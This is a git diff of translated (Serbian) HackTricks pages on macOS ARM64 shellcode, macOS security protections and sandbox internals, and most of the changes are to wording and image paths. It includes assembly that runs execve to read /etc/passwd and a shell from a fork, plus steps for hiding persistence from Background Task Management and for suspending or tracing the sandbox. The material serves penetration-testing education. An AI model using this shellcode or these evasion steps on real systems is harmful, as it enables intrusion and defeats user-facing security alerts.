{% endtab %}
{% endtabs %}
#### Čitaj sa cat
Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).
```armasm
@ -586,7 +588,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Pozovite komandu sa sh iz fork-a tako da glavni proces nije ubijen
#### Pozovite komandu sa sh iz fork-a tako da glavni proces ne bude ubijen
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -784,16 +786,16 @@ mov x16, #59
svc #0x1337
```
{% hint style="success" %}
Učite i vežbajte hakovanje AWS-a: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks obuka AWS Crveni Tim Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks obuka GCP Crveni Tim Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# macOS Security Protections
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -27,6 +27,10 @@ Više informacija u:
## Processes Limitants
### MACF
### SIP - System Integrity Protection
{% content-ref url="macos-sip.md" %}
@ -35,7 +39,7 @@ Više informacija u:
### Sandbox
MacOS Sandbox **ograničava aplikacije** koje se izvršavaju unutar sandboxes na **dozvoljene radnje specificirane u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**.
MacOS Sandbox **ograničava aplikacije** koje se izvršavaju unutar sandboks-a na **dozvoljene radnje navedene u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**.
{% content-ref url="macos-sandbox/" %}
[macos-sandbox](macos-sandbox/)
@ -43,7 +47,7 @@ MacOS Sandbox **ograničava aplikacije** koje se izvršavaju unutar sandboxes na
### TCC - **Transparency, Consent, and Control**
**TCC (Transparency, Consent, and Control)** je sigurnosni okvir. Dizajniran je da **upravlja dozvolama** aplikacija, posebno regulisanjem njihovog pristupa osetljivim funkcijama. Ovo uključuje elemente kao što su **usluge lokacije, kontakti, fotografije, mikrofon, kamera, pristupačnost i pristup celom disku**. TCC osigurava da aplikacije mogu pristupiti ovim funkcijama samo nakon dobijanja eksplicitne saglasnosti korisnika, čime se jača privatnost i kontrola nad ličnim podacima.
**TCC (Transparency, Consent, and Control)** je sigurnosni okvir. Dizajniran je da **upravlja dozvolama** aplikacija, posebno regulisanjem njihovog pristupa osetljivim funkcijama. Ovo uključuje elemente kao što su **usluge lokacije, kontakti, fotografije, mikrofon, kamera, pristupačnost i pristup celom disku**. TCC osigurava da aplikacije mogu pristupiti ovim funkcijama samo nakon dobijanja izričitog pristanka korisnika, čime se jača privatnost i kontrola nad ličnim podacima.
{% content-ref url="macos-tcc/" %}
[macos-tcc](macos-tcc/)
@ -51,7 +55,7 @@ MacOS Sandbox **ograničava aplikacije** koje se izvršavaju unutar sandboxes na
### Launch/Environment Constraints & Trust Cache
Ograničenja pokretanja u macOS-u su sigurnosna funkcija koja **reguliše inicijaciju procesa** definišući **ko može pokrenuti** proces, **kako** i **odakle**. Uvedena u macOS Ventura, kategorizuju sistemske binarne datoteke u kategorije ograničenja unutar **trust cache**. Svaka izvršna binarna datoteka ima postavljena **pravila** za svoje **pokretanje**, uključujući **self**, **parent** i **responsible** ograničenja. Proširena na aplikacije trećih strana kao **Environment** Constraints u macOS Sonoma, ove funkcije pomažu u ublažavanju potencijalnih sistemskih eksploatacija regulisanjem uslova pokretanja procesa.
Ograničenja pokretanja u macOS-u su sigurnosna funkcija koja **reguliše inicijaciju procesa** definišući **ko može pokrenuti** proces, **kako** i **odakle**. Uvedena u macOS Ventura, klasifikuju sistemske binarne datoteke u kategorije ograničenja unutar **trust cache**. Svaka izvršna binarna datoteka ima postavljena **pravila** za svoje **pokretanje**, uključujući **self**, **parent** i **responsible** ograničenja. Proširena na aplikacije trećih strana kao **Environment** Constraints u macOS Sonoma, ove funkcije pomažu u ublažavanju potencijalnih sistemskih eksploatacija regulisanjem uslova pokretanja procesa.
{% content-ref url="macos-launch-environment-constraints.md" %}
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
@ -76,7 +80,7 @@ Aplikacija MRT se nalazi u **`/Library/Apple/System/Library/CoreServices/MRT.app
<figure><img src="../../../.gitbook/assets/image (1183).png" alt=""><figcaption></figcaption></figure>
Ovo se pokreće sa **daemon**-om lociranim u `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` i **agentom** u `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
Ovo se pokreće sa **daemon-om** lociranim u `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` i **agentom** u `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
Način na koji **`backgroundtaskmanagementd`** zna da je nešto instalirano u persistentnom folderu je **dobijanje FSEvents** i kreiranje nekih **handler-a** za njih.
@ -112,11 +116,11 @@ xattr -rc dumpBTM # Remove quarantine attr
```
Ove informacije se čuvaju u **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** i Terminalu je potrebna FDA.
### Mešanje sa BTM
### Manipulacija sa BTM
Kada se pronađe nova perzistencija, događa se događaj tipa **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Dakle, bilo koji način da se **spreči** slanje ovog **događaja** ili da **agent ne obavesti** korisnika će pomoći napadaču da _**zaobiđe**_ BTM.
* **Resetovanje baze podataka**: Pokretanje sledeće komande će resetovati bazu podataka (trebalo bi da je ponovo izgradi od nule), međutim, iz nekog razloga, nakon pokretanja ovoga, **nema novih perzistencija koje će biti obaveštene dok se sistem ne restartuje**.
* **Resetovanje baze podataka**: Pokretanje sledeće komande će resetovati bazu podataka (trebalo bi da je ponovo izgradi od nule), međutim, iz nekog razloga, nakon pokretanja ovoga, **nema nove perzistencije koja će biti obaveštena dok se sistem ne restartuje**.
* **root** je potreban.
```bash
# Reset the database
@ -142,9 +146,10 @@ Reference i **više informacija o BTM**:
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/grte.png" al
## Basic Information
MacOS Sandbox (prvobitno nazvan Seatbelt) **ograničava aplikacije** koje se izvršavaju unutar sandboxes-a na **dozvoljene radnje specificirane u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**.
MacOS Sandbox (prvobitno nazvan Seatbelt) **ograničava aplikacije** koje se izvršavaju unutar sandboxes na **dozvoljene radnje specificirane u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**.
Svaka aplikacija sa **entitlement** **`com.apple.security.app-sandbox`** će biti izvršena unutar sandboxes-a. **Apple binarni** obično se izvršavaju unutar Sandbox-a, a sve aplikacije iz **App Store-a imaju tu dozvolu**. Tako će nekoliko aplikacija biti izvršeno unutar sandboxes-a.
Svaka aplikacija sa **entitlement** **`com.apple.security.app-sandbox`** će biti izvršena unutar sandboxes. **Apple binarni** programi se obično izvršavaju unutar Sandbox-a, a sve aplikacije iz **App Store-a imaju tu dozvolu**. Tako će nekoliko aplikacija biti izvršeno unutar sandboxes.
Da bi kontrolisao šta proces može ili ne može da radi, **Sandbox ima hook-ove** u skoro svakoj operaciji koju proces može pokušati (uključujući većinu syscalls) koristeći **MACF**. Međutim, **zavisno** od **entitlements** aplikacije, Sandbox može biti permisivniji prema procesu.
@ -32,7 +32,7 @@ Neki važni sastavni delovi Sandbox-a su:
### Containers
Svaka aplikacija u sandbox-u će imati svoj vlastiti kontejner u `~/Library/Containers/{CFBundleIdentifier}` :
Svaka sandboxovana aplikacija će imati svoj vlastiti kontejner u `~/Library/Containers/{CFBundleIdentifier}` :
```bash
ls -l ~/Library/Containers
total 0
@ -151,19 +151,19 @@ Proverite ovo [**istraživanje**](https://reverse.put.as/2011/09/14/apple-sandbo
Imajte na umu da su u kompajliranoj verziji profila imena operacija zamenjena njihovim unosima u nizu poznatom dylib-u i kext-u, što čini kompajliranu verziju kraćom i teže čitljivom.
{% endhint %}
Važne **sistemske usluge** takođe rade unutar svojih prilagođenih **sandbox-a**, kao što je usluga `mdnsresponder`. Možete pregledati ove prilagođene **sandbox profile** unutar:
Važne **sistemske usluge** takođe rade unutar svojih prilagođenih **sandbox-a** kao što je usluga `mdnsresponder`. Možete pregledati ove prilagođene **sandbox profile** unutar:
* **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`**
* Ostale sandbox profile možete proveriti na [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
**App Store** aplikacije koriste **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Možete proveriti u ovom profilu kako ovlašćenja kao što je **`com.apple.security.network.server`** omogućavaju procesu da koristi mrežu.
**App Store** aplikacije koriste **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Možete proveriti u ovom profilu kako privilegije kao što je **`com.apple.security.network.server`** omogućavaju procesu da koristi mrežu.
SIP je Sandbox profil nazvan platform\_profile u /System/Library/Sandbox/rootless.conf
### Primeri Sandbox Profila
Da biste pokrenuli aplikaciju sa **specifičnim sandbox profilom**, možete koristiti:
Da biste pokrenuli aplikaciju sa **specifičnim sandbox profilom** možete koristiti:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
@ -230,7 +230,7 @@ Primeri zaobilaženja:
#### Putem profila
Moguće je pratiti sve provere koje sandbox obavlja svaki put kada se proverava neka radnja. Za to jednostavno kreirajte sledeći profil:
Moguće je pratiti sve provere koje sandbox obavlja svaki put kada se akcija proverava. Za to jednostavno kreirajte sledeći profil:
{% code title="trace.sb" %}
```scheme
@ -250,7 +250,7 @@ Takođe je moguće pratiti sandbox koristeći **`-t`** parametar: `sandbox-exec
#### Putem API-ja
Funkcija `sandbox_set_trace_path` koju izlaže `libsystem_sandbox.dylib` omogućava da se odredi ime datoteke za praćenje u koju će se zapisivati provere sandboxes.\
Takođe je moguće uraditi nešto slično pozivajući `sandbox_vtrace_enable()` i zatim dobijajući logove grešaka iz bafera pozivajući `sandbox_vtrace_report()`.
Takođe je moguće uraditi nešto slično pozivom `sandbox_vtrace_enable()` i zatim dobiti logove grešaka iz bafera pozivom `sandbox_vtrace_report()`.
### Inspekcija Sandboxes
@ -284,7 +284,7 @@ Ovo će **evalirati string nakon ovog prava** kao Sandbox profil.
Ova obrnuta i [**open sourced verzija alata sandbox-exec**](https://newosxbook.com/src.jl?tree=listings\&file=/sandbox\_exec.c) omogućava da **`sandbox-exec`** piše u datoteku kompajlirani sandbox profil.
Pored toga, da bi se proces ograničio unutar kontejnera, može pozvati `sandbox_spawnattrs_set[container/profilename]` i proslediti kontejner ili prethodno postojeći profil.
Pored toga, da bi se proces zatvorio unutar kontejnera, može pozvati `sandbox_spawnattrs_set[container/profilename]` i proslediti kontejner ili prethodno postojeći profil.
## Debug & Bypass Sandbox
@ -319,7 +319,7 @@ Napomena da su ekstenzije veoma povezane sa pravima, tako da posedovanje određe
[**Prema ovome**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** funkcije (to je `__mac_syscall`), mogu proveriti **da li je operacija dozvoljena ili ne** od strane sandbox-a u određenom PID-u, audit tokenu ili jedinstvenom ID-u.
[**alat sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) (pronađite ga [kompajliran ovde](https://newosxbook.com/articles/hitsb.html)) može proveriti da li PID može izvršiti određene akcije:
[**Alat sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) (pronađite ga [kompajliran ovde](https://newosxbook.com/articles/hitsb.html)) može proveriti da li PID može izvršiti određene akcije:
```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access
@ -330,7 +330,7 @@ sbtool <pid> all
Takođe je moguće suspendovati i ponovo aktivirati sandbox koristeći funkcije `sandbox_suspend` i `sandbox_unsuspend` iz `libsystem_sandbox.dylib`.
Napomena: Da bi se pozvala funkcija suspend, proveravaju se neka prava kako bi se autorizovao pozivalac da je pozove, kao što su:
Napomena: da bi se pozvala funkcija suspend, proveravaju se neka prava kako bi se autorizovao pozivalac da je pozove, kao što su:
* com.apple.private.security.sandbox-manager
* com.apple.security.print
@ -351,7 +351,7 @@ Funkcija `___sandbox_ms` obavija `mac_syscall` označavajući u prvom argumentu
* **extension\_consume (#6)**: Potroši zadatu ekstenziju.
* **extension\_release (#7)**: Oslobađa memoriju vezanu za potrošenu ekstenziju.
* **extension\_update\_file (#8)**: Menja parametre postojeće ekstenzije datoteke unutar sandboxa.
* **extension\_twiddle (#9)**: Prilagođava ili menja postojeću ekstenziju datoteke (npr., TextEdit, rtf, rtfd).
* **extension\_twiddle (#9)**: Prilagođava ili menja postojeću ekstenziju datoteke (npr. TextEdit, rtf, rtfd).
* **suspend (#10)**: Privremeno suspenduje sve sandbox provere (zahteva odgovarajuća prava).
* **unsuspend (#11)**: Nastavlja sve prethodno suspendovane sandbox provere.
* **passthrough\_access (#12)**: Omogućava direktan pristup resursu, zaobilazeći sandbox provere.
@ -361,7 +361,7 @@ Funkcija `___sandbox_ms` obavija `mac_syscall` označavajući u prvom argumentu
* **inspect (#16)**: Pruža informacije za debagovanje o sandboxovanom procesu.
* **dump (#18)**: (macOS 11) Dumpuje trenutni profil sandboxa za analizu.
* **vtrace (#19)**: Prati sandbox operacije za monitoring ili debagovanje.
* **builtin\_profile\_deactivate (#20)**: (macOS < 11) Deaktivira imenovane profile (npr., `pe_i_can_has_debugger`).
* **builtin\_profile\_deactivate (#20)**: (macOS < 11) Deaktivira imenovane profile (npr. `pe_i_can_has_debugger`).
* **check\_bulk (#21)**: Izvršava više `sandbox_check` operacija u jednom pozivu.
* **reference\_retain\_by\_audit\_token (#28)**: Kreira referencu za audit token za korišćenje u sandbox proverama.
* **reference\_release (#29)**: Oslobađa prethodno zadržanu referencu audit tokena.
@ -373,25 +373,25 @@ Funkcija `___sandbox_ms` obavija `mac_syscall` označavajući u prvom argumentu
## Sandbox.kext
Napomena: U iOS-u, kernel ekstenzija sadrži **hardkodirane sve profile** unutar `__TEXT.__const` segmenta kako bi se izbegle izmene. Sledeće su neke zanimljive funkcije iz kernel ekstenzije:
Napomena: u iOS, kernel ekstenzija sadrži **hardkodirane sve profile** unutar `__TEXT.__const` segmenta kako bi se izbegle izmene. Sledeće su neke zanimljive funkcije iz kernel ekstenzije:
* **`hook_policy_init`**: Hook-uje `mpo_policy_init` i poziva se nakon `mac_policy_register`. Izvršava većinu inicijalizacija Sandbox-a. Takođe inicijalizuje SIP.
* **`hook_policy_init`**: Hookuje `mpo_policy_init` i poziva se nakon `mac_policy_register`. Izvršava većinu inicijalizacija Sandboxa. Takođe inicijalizuje SIP.
* **`hook_policy_initbsd`**: Postavlja sysctl interfejs registrujući `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` i `security.mac.sandbox.debug_mode` (ako je bootovan sa `PE_i_can_has_debugger`).
* **`hook_policy_syscall`**: Poziva se od strane `mac_syscall` sa "Sandbox" kao prvim argumentom i kodom koji označava operaciju u drugom. Koristi se switch za pronalaženje koda koji treba izvršiti prema traženom kodu.
### MACF Hooks
**`Sandbox.kext`** koristi više od stotinu hook-ova putem MACF. Većina hook-ova će samo proveriti neke trivijalne slučajeve koji omogućavaju izvršenje akcije, ako ne, pozvaće **`cred_sb_evalutate`** sa **akreditivima** iz MACF i brojem koji odgovara **operaciji** koja treba da se izvrši i **baferom** za izlaz.
**`Sandbox.kext`** koristi više od stotinu hookova putem MACF. Većina hookova će samo proveriti neke trivijalne slučajeve koji omogućavaju izvršenje akcije, ako ne, pozvaće **`cred_sb_evalutate`** sa **akreditivima** iz MACF i brojem koji odgovara **operaciji** koja treba da se izvrši i **baferom** za izlaz.
Dobar primer toga je funkcija **`_mpo_file_check_mmap`** koja hook-uje **`mmap`** i koja će početi da proverava da li nova memorija može biti zapisiva (i ako ne, dozvoliti izvršenje), zatim će proveriti da li se koristi za dyld deljenu keš memoriju i ako je tako, dozvoliti izvršenje, i na kraju će pozvati **`cred_sb_evalutate`** da izvrši dalja provere dozvola.
Dobar primer toga je funkcija **`_mpo_file_check_mmap`** koja hookuje **`mmap`** i koja će početi da proverava da li nova memorija može biti zapisiva (i ako ne, dozvoliti izvršenje), zatim će proveriti da li se koristi za dyld deljenu keš memoriju i ako je tako, dozvoliti izvršenje, i na kraju će pozvati **`sb_evaluate_internal`** (ili jedan od njegovih obavijača) da izvrši dalja provere dozvola.
Pored toga, od stotina hook-ova koje Sandbox koristi, postoje 3 koja su posebno zanimljiva:
Pored toga, od stotina hookova koje Sandbox koristi, postoje 3 koja su posebno zanimljiva:
* `mpo_proc_check_for`: Primeni profil ako je potrebno i ako prethodno nije primenjen.
* `mpo_vnode_check_exec`: Poziva se kada proces učita povezanu binarnu datoteku, zatim se vrši provera profila i takođe provera koja zabranjuje SUID/SGID izvršenja.
* `mpo_cred_label_update_execve`: Ovo se poziva kada se dodeljuje oznaka. Ovo je najduže jer se poziva kada je bina potpuno učitana, ali još nije izvršena. Izvršiće akcije kao što su kreiranje sandbox objekta, povezivanje sandbox strukture sa kauth akreditivima, uklanjanje pristupa mach portovima...
Napomena: **`cred_sb_evalutate`** je obavijač preko **`sb_evaluate`** i ova funkcija uzima akreditive koji su prosleđeni i zatim vrši evaluaciju koristeći **`eval`** funkciju koja obično evaluira **platformski profil** koji se po defaultu primenjuje na sve procese, a zatim **specifični procesni profil**. Napomena: platformski profil je jedan od glavnih komponenti **SIP** u macOS-u.
Napomena: **`_cred_sb_evalutate`** je obavijač nad **`sb_evaluate_internal`** i ova funkcija uzima akreditive koji su prosleđeni i zatim vrši evaluaciju koristeći **`eval`** funkciju koja obično evaluira **platformski profil** koji se po defaultu primenjuje na sve procese, a zatim **specifični procesni profil**. Napomena: platformski profil je jedna od glavnih komponenti **SIP** u macOS.
## Sandboxd